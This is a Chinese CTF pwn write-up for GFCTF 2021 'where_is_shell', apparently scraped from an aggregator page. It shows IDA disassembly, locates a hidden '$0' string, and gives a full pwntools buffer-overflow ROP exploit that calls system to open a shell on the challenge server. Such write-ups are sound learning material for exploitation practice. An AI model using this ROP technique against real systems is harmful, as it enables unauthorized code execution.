当前位置: 首页 > news >正文

[GFCTF 2021]where_is_shell

第一次打CTF——PWN篇学习笔记16

在ida中看一看,发现可疑地址

int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF ​ system("echo 'zltt lost his shell, can you find it?'"); read(0, buf, 0x38u); return 0; } __int64 tips() { return MEMORY[0x403569](); }

看了其他师傅的wp,发现这是一个后门函数,在ida中Options-General-Disassembly-Number of opcode bytes改成10即可发现24 30($0)可用于获得shell

.text:0000000000400537 tips proc near .text:0000000000400537 ; __unwind { .text:0000000000400537 55 push rbp .text:0000000000400538 48 89 E5 mov rbp, rsp .text:000000000040053B B8 00 00 00 00 mov eax, 0 .text:0000000000400540 E8 24 30 00 00 call near ptr 403569h .text:0000000000400545 90 nop .text:0000000000400546 5D pop rbp .text:0000000000400547 C3 retn .text:0000000000400547 ; } // starts at 400537 .text:0000000000400547 tips endp
.text:0000000000400548 ; int __fastcall main(int argc, const char **argv, const char **envp) .text:0000000000400548 public main .text:0000000000400548 main proc near ; DATA XREF: _start+1D↑o .text:0000000000400548 .text:0000000000400548 buf = byte ptr -10h .text:0000000000400548 .text:0000000000400548 ; __unwind { .text:0000000000400548 push rbp .text:0000000000400549 mov rbp, rsp .text:000000000040054C sub rsp, 10h .text:0000000000400550 lea rdi, command ; "echo 'zltt lost his shell, can you find"... .text:0000000000400557 call _system .text:000000000040055C lea rax, [rbp+buf] .text:0000000000400560 mov edx, 38h ; '8' ; nbytes .text:0000000000400565 mov rsi, rax ; buf .text:0000000000400568 mov edi, 0 ; fd .text:000000000040056D mov eax, 0 .text:0000000000400572 call _read .text:0000000000400577 mov eax, 0 .text:000000000040057C leave .text:000000000040057D retn .text:000000000040057D ; } // starts at 400548 .text:000000000040057D main endp

取system地址0x400557,据此编写脚本,成功得到flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./pwn') io = remote("node4.anna.nssctf.cn",28152) ​ pop_rdi = 0x4005e3 system = 0x400557 backdoor = 0x400540 + 1 ​ payload = cyclic(0x10 + 8) + p64(pop_rdi) + p64(backdoor) + p64(system) ​ io.sendline(payload) ​ io.interactive()
http://www.jsqmd.com/news/106790/

相关文章:

  • 互联网大厂Java面试场景全流程:微服务、分布式缓存与智能AI业务实战问答
  • Python大数据基于Spark的温布尔登特色赛赛事数据分析可视化平台设计与实现_l3309f4e
  • 湖南网安培训首选:湖南省网安基地深度解析
  • Puppeteer vs. Playwright —— 哪个更好?
  • 基于springboot港口物流数据分析及可视化的设计与实现
  • 9个AI论文工具,助力继续教育学员高效写作!
  • 基于springboot百度公司工作报告管理系统
  • 电脑端 云手机都有哪些注意事项
  • 9个AI写作工具,助你轻松搞定本科论文!
  • SQLite - PHP 数据库交互指南
  • 通信系统仿真:通信系统基础理论_(2).信号与系统
  • 推荐这个一站式AI视频生成平台,全链路打造爆款电影解说
  • 商汤发布如影营销智能体,五大智能体全链协同打造直播电商增长飞轮
  • 【MongoDB实战】6.2 常用索引类型实战
  • 大厂Java面试故事:微服务、缓存、消息队列与AI场景全链路技术拆解
  • 【HarmonyOS NEXT】ohpm 安装依赖失败(@finclip 包找不到)问题复盘与解决方案
  • 深度优先遍历与连通分量
  • Xiaomi MiMo-V2-Flash 开源:高效推理、代码与 Agent 基座模型
  • 【基于模型的强化学习】#1 引论:Dyna架构
  • 【MongoDB实战】6.3 索引优化实战:慢查询解决
  • SciPy 安装指南
  • 避开 35 岁职场危机:网络安全为何能成为越沉淀越吃香的赛道?
  • 使用命令行工具 ogr2ogr 将 CSV 转换为 Shp 数据(二)
  • Git
  • 9个AI论文工具,自考本科轻松搞定!
  • Xhorse XDMPR8GL Adapter: Program MQB-RH850/V850 ECUs with Xhorse Multi Prog
  • CTF 比赛值得参加吗?计算机专业参赛必要性分析,附门槛要求与获奖好处!
  • Java常见技术分享-09-模版方法模式
  • FreeModbus+STM32F407IGT6标准库项目代码
  • 蓝桥杯 嵌入式 客观题 [1000道]第二期 持续更新中